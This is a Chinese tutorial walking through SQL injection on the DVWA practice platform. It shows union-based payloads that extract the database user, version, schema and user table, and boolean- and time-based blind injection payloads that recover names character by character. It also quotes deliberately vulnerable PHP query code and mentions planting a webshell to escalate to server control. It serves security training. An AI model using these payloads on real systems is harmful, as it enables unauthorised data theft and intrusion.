DVWA是OWASP官方提供的一个做渗透测试的平台
1.SQL injection
1.利用特殊字符验证绕过SQL
当我们输入1的时候 ID有一个回显
当我们接着输入''的时候,SQL回显报错
初步可以判断这里存在SQL注入点
输入框接着输入1' or 1=1--
绕过了验证
2.测试查询信息列数。利用语句 order by num
利用”order by 1。2。3.。。-- “猜测一下数据的列数
当输入1‘ order by 2-- 时和第一种情况是一样的,验证到3的时候
可以获得这个数据库中含有2列数据
3.通过得到连接数据库账户信息、数据库名称、数据库版本信息。利用user(),及database(),version()等三个内置函数。
用联合查询可以查到第一列和第二列的值,利用内置函数user(),及database(),version()注入得出连接数据库用户以及数据库名称:1' and 1=2 union select user(),database() --
连接数据库的用户为 root@localhost ,数据库名称为dvwa
注入得到数据库名就成功了一半了 接下来就是一些基本的操作了,,进一步利用函数version(),尝试得到版本信息, 1' and 1=2 union select version(),database() -- 查看版本信息
可以查询到当前SQL版本是5.5.53
4.获得操作系统信息
1'and 1=2 union select 1,@@global.version_compile_os from mysql.user --
5.测试连接数据库权限:
1’ and ord(mid(user(),1,1))=114 -- 猜测数据库中是否存在root用户若返回正常说明是root
6.查询mysql数据库,所有数据库名字:这里利用mysql默认的数据库infromation_scehma,该数据库存储了Mysql所有数据库和表的信息。
1' and 1=2 union select 1,schema_name from information_schema_schemata --
7.猜解dvwa数据库中的表名。利用1‘ and exists(select * from 表名)。
1' and exists(select * from users) --
8.猜解字段名:1' and exists(select 表名 from users) -- ,这里测试的字段名有first_name,last_name
9.爆出数据库中字段的内容 1' and 1=2 union select first_name,last_name from users -- ,这里其实如果是存放管理员账户的表,那么用户名,密码信息字段就可以爆出来了。
这个数据库中所有成员的信息已经显示出来了。
以上是注入一个SQL数据库的所有步骤。总结一下:
1、寻找注入点,可以通过web扫描工具实现(SQLmap)
2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)
4、可以通过获得的用户信息,寻找后台登录。
5、利用后台或了解的进一步信息,上传webshell或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。
简单测试了mysql几个常用注入语句:
1' order by 2 -- /*用来猜解查询信息的列数
1' and 1=2 union select user(),database(),--
1' and 1=2 union select user(),version(), -- /*利用user(),database(),version()函数获得数据库信息
1'and 1=2 union select 1,@@global.version_compile_os from mysql.user -- /*获得操作系统信息1' and ord(mid(user(),1,1))=114 -- /*测试连接数据库用户权限
1' and 1=2 union select 1,schema_name from information_schema.schemata -- /*爆出所有数据库名称1' and exists(select * from users) -- /*猜解表名
1' and exists(select first_name from users) -- /猜解字段名
1' and 1=2 union select first_name,last_name from users -- /*猜解字段内容
2.SQL injection(blind)
SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
手工盲注思路
手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。
盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,这里由于实验环境的限制,只演示基于布尔的盲注与基于时间的盲注。
下面简要介绍手工盲注的步骤(可与之前的手工注入作比较):
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
服务器端代码
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysql_numrows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } mysql_close(); } ?>
可以看到这段代码中没有对传进来的id值进行任何过滤
同时也可以看到无论我们输入任何查询语句,SQL都值反馈给我们两种形式
因此这样的数据库只能进行盲注
方式1:布尔盲注
1.判断是否存在注入,注入是字符型还是数字型
输入1,显示相应用户存在:
输入 1‘ and 1=1 #
也显示用户存在
输入1’ and 1=2 #
显示用户不存在。
因此可以初步判断存在注入点。
因此可以判断这是字符型注入
PS:简单解释以下如何区分字符型(stiring)还是数字型(int)注入,因为数字型和字符型用的是两种截然不同的方式
数字型:pwd=1 or 1=1
整型:pwd = 1' or 1=1 #
直观判断就是需不需要“ “封闭 字符型是无法直接加1=1绕过验证的 必须将前面的单引号进行封闭。
2.猜解当前数据库名
想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。
输入1’ and length(database())=1 #
依次尝试database()=2,3,4,5....
当尝试到4的时候发现用户存在
说明数据库名长度为4
下面采用二分法猜解数据库名。
输入1’ and ascii(substr(databse(),1,1))>97 # 用户存在
说明数据库名首字母的ascii值>97 首字母>a
输入1’ and ascii(substr(databse(),1,1))<122 #
说明数据库名首字母的ascii值<122 首字母<z
依次进行二分法查找,发现当查找到大于或小于100 时用户都不存在
小写字母d对应的ascii码是100 因此可以判断首字母是d
修改database(),1,1中1,1的值依次改为2,2 3,3 4,4 可以查到数据库名称dvwa
3.猜解数据库中的表名
首先猜解数据库中表的数量:
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在
可以判断数据库中有两个表
接着依次猜解表名:
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在
直到尝试到
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 用户存在
说明第一个表长度为9
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
说明第一个表的名字的第一个字符为小写字母g。
重复上述步骤,即可猜解出两个表名(guestbook、users)。
4.猜解表中的字段名
首先猜解表中字段的数量:
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 显示不存在
…
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 显示存在
说明users表有8个字段。
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 显示不存在
…
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 显示存在
说明users表的第一个字段为7个字符长度。
采用二分法,即可猜解出所有字段名。
5.猜解数据
同样采用二分法。
还可以使用基于时间的盲注:
1.判断是否存在注入,注入是字符型还是数字型
输入1’ and sleep(5) #,有明显延迟;
输入1 and sleep(5) #,没有延迟;
因此可以判断这是字符型注入
2.猜解当前数据库名
首先猜解数据名的长度:
1’ and if(length(database())=1,sleep(5),1) # 没有延迟
1’ and if(length(database())=2,sleep(5),1) # 没有延迟
1’ and if(length(database())=3,sleep(5),1) # 没有延迟
1’ and if(length(database())=4,sleep(5),1) # 明显延迟
可以判断数据库长度=4
用二分法猜测数据库名
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟
…
1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
说明数据库名的第一个字符为小写字母d。
依次类推 可以拿到数据库名称
3.猜解数据库中的表名
首先猜解数据库中表的数量:
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟
说明数据库中有两个表。
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟
…
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟
说明第一个表名的长度为9个字符。
采用二分法即可猜解出表名。
4.猜解表中的字段名
首先猜解表中字段的数量:
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟
…
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟
说明users表中有8个字段。
接着挨个猜解字段名:
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟
…
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟
说明users表的第一个字段长度为7个字符。
采用二分法即可猜解出各个字段名。
5.猜解数据
同样采用二分法。
SQL盲注要比前者费时费力,但是在做黑盒测试的时候,盲注是一个必备的手段。